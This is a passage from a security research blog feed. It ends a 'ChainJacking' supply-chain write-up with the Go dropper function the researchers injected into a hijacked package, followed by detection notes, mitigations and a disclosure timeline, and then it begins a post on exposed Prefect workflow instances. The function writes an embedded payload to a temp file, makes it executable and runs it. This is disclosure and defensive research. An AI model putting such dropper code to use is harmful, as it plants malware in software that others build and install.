&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="kd"&gt;func&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;writeAndExecute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;windows&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bindataPayloadExeBytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;bindataPayloadElfBytes&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ioutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;TempFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Chmod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;0755&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sync&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The injected code uses common techniques used by other malware written in Go.
It performs a process enumeration which is sometimes performed by malware to
determine if it is executed in a sandbox or being analyzed. Another feature of
the code is to perform data exfiltration of base64 encoded data. Command
execution is simulated by allowing the Command and Control (C2) server to send
a command to be executed by the injected code. Finally, an alternative payload
is embedded, allowing the injected code to behave as a dropper. The same
resource embedding library has been used by malware in the past.&lt;/p&gt;
&lt;p&gt;If we build another application whose dependency uses the vulnerable
repository, the modified logging package is included in the final binary. If we
analyze the binary with &lt;a href="http://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt; we can
see that it detected 14 unique code genes.&lt;/p&gt;
&lt;p&gt;We can confirm that the unique genes are indeed part of the malicious code that
we injected because we can see this section of code is located in the
&lt;code&gt;collectData&lt;/code&gt; function.&lt;/p&gt;
&lt;h2&gt;GitHub Mitigation&lt;span class="hx:absolute hx:-mt-20" id="github-mitigation"&gt;&lt;/span&gt;
&lt;a href="#github-mitigation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In an effort to address this issue and similar ones, GitHub introduced
&lt;a href="https://github.blog/2018-04-18-new-tools-for-open-source-maintainers/#popular-repository-namespace-retirement"target="_blank" rel="noopener"&gt;Popular repository namespace retirement&lt;/a&gt;.
This measure should ensure that attacks such as ChainJacking won&amp;rsquo;t be possible
on popular code packages that might have a substantial impact. To do that,
GitHub &amp;ldquo;retires the namespace of any open-source project that had more than 100
clones in the week leading up to the owner&amp;rsquo;s account being renamed or deleted.&amp;rdquo;&lt;/p&gt;
&lt;h2&gt;Mitigation Recommendations&lt;span class="hx:absolute hx:-mt-20" id="mitigation-recommendations"&gt;&lt;/span&gt;
&lt;a href="#mitigation-recommendations" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The good news is that while ChainJacking has the potential to cause incidents
with severe widespread effects, it can also be mitigated relatively simply.
Combining Checkmarx and Intezer&amp;rsquo;s technologies, we were able to recognize the
possible source of the attack at the code level while also identifying the
impact of this attack vector at the application level.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;To help detect vulnerable packages in your dependency tree, we are
&lt;a href="https://github.com/checkmarx/chainjacking"target="_blank" rel="noopener"&gt;released an open-source tool on GitHub&lt;/a&gt;.
Check it out and consider incorporating it into your development or build
pipeline.&lt;/li&gt;
&lt;li&gt;Scan software releases for tampering and backdoors before delivering to
customers or deploying to production.
&lt;a href="https://intezer.com/blog/malware-analysis/securing-the-software-supply-chain/?utm_campaign=research-blog&amp;amp;utm_content=chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Learn more&lt;/a&gt;
about how Intezer can help you release your software with peace of mind.&lt;/li&gt;
&lt;li&gt;Checkmarx monitors packages that can be taken over and alerts the ecosystem
(including Go and GitHub) in case a suspicious activity is detected. This
means that Checkmarx customers are automatically protected from
ChainJacking.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;What&amp;rsquo;s Next?&lt;span class="hx:absolute hx:-mt-20" id="whats-next"&gt;&lt;/span&gt;
&lt;a href="#whats-next" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Software supply chain attacks are on the rise because they can be difficult to
detect and have the potential for widespread impact. ChainJacking described in
this research provides attackers with new infection opportunities and further
adds to the challenges companies face when securing their software supply
chain.&lt;/p&gt;
&lt;p&gt;To demonstrate the potential outcome of such an attack, we showed the direct
link between a real-life vulnerable package and popular admin tools intended to
run with high privileges. While we have found no evidence of attackers using
ChainJacking in the wild at this moment, the potential damage of an
exploitation of this kind could be compared to the recent attacks against
Kaseya and SolarWinds.&lt;/p&gt;
&lt;h2&gt;Disclosure Timeline&lt;span class="hx:absolute hx:-mt-20" id="disclosure-timeline"&gt;&lt;/span&gt;
&lt;a href="#disclosure-timeline" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;8 Oct 21 – Full report sent&lt;/li&gt;
&lt;li&gt;8 Oct 21 – GitHub acknowledges receiving the report&lt;/li&gt;
&lt;li&gt;20 Oct 21 – GitHub asked for clarifications&lt;/li&gt;
&lt;li&gt;20 Oct 21 – Clarifications sent together with a PoC video&lt;/li&gt;
&lt;li&gt;30 Oct 21 – GitHub responded indicating that this is a known behavior and
referenced their
&lt;a href="https://github.blog/2018-04-18-new-tools-for-open-source-maintainers/#popular-repository-namespace-retirement"target="_blank" rel="noopener"&gt;documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;5 Nov 21 – Email sent to Go security team&lt;/li&gt;
&lt;li&gt;10 Nov 21 – Response from Go security team acknowledging it as an issue but
not something they could fix&lt;/li&gt;
&lt;li&gt;16 Nov 21 – Full disclosure&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Exposed Prefect Workflows Could Lead to Disruptive Attacks</title><link>https://research.intezer.com/blog/2021/10/exposed-prefect-workflows-could-lead-to-disruptive-attacks/</link><pubDate>Tue, 26 Oct 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/10/exposed-prefect-workflows-could-lead-to-disruptive-attacks/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Workflow management platforms are powerful tools for automating and managing
complex tasks. Integrating workflow platforms can help companies coordinate and
ease their business processes as well as increase the productivity of their
teams. When the instances are misconfigured, they can expose the systems to
potential attacks and data loss. This is why it&amp;rsquo;s crucial to properly set up
these instances. Companies recently learned this the hard way when
misconfiguring popular open-source workflow platforms
&lt;a href="../../../2021/07/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/"&gt;Argo&lt;/a&gt;
and
&lt;a href="../../../2021/10/misconfigured-airflows-leak-credentials/"&gt;Airflow&lt;/a&gt;.
This post will focus on misconfigurations in the Prefect workflow platform. We
have identified hundreds of misconfigured Prefect instances which could be the
target of disruptive attacks. By using Prefect&amp;rsquo;s web UI and API function,
attackers can potentially modify and delete workflows, tasks, and agents,
including the history logs of previous executions, belonging to companies with
exposed instances. Disruptive attacks can cause data loss and business delays
affecting teams that integrate workflows into their daily routines and the
clients that depend on these workflows functioning properly. We did not find
any evidence of Prefect users having their information leaked as of yet.
Prefect users should verify that their instances are not exposed to the
internet and enable multi-factor authentication.&lt;/p&gt;
&lt;h2&gt;What is Prefect?&lt;span class="hx:absolute hx:-mt-20" id="what-is-prefect"&gt;&lt;/span&gt;
&lt;a href="#what-is-prefect" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Prefect is a workflow management platform launched in 2018 and powered by the
open-source Prefect Core workflow engine. It&amp;rsquo;s a popular platform marked by its
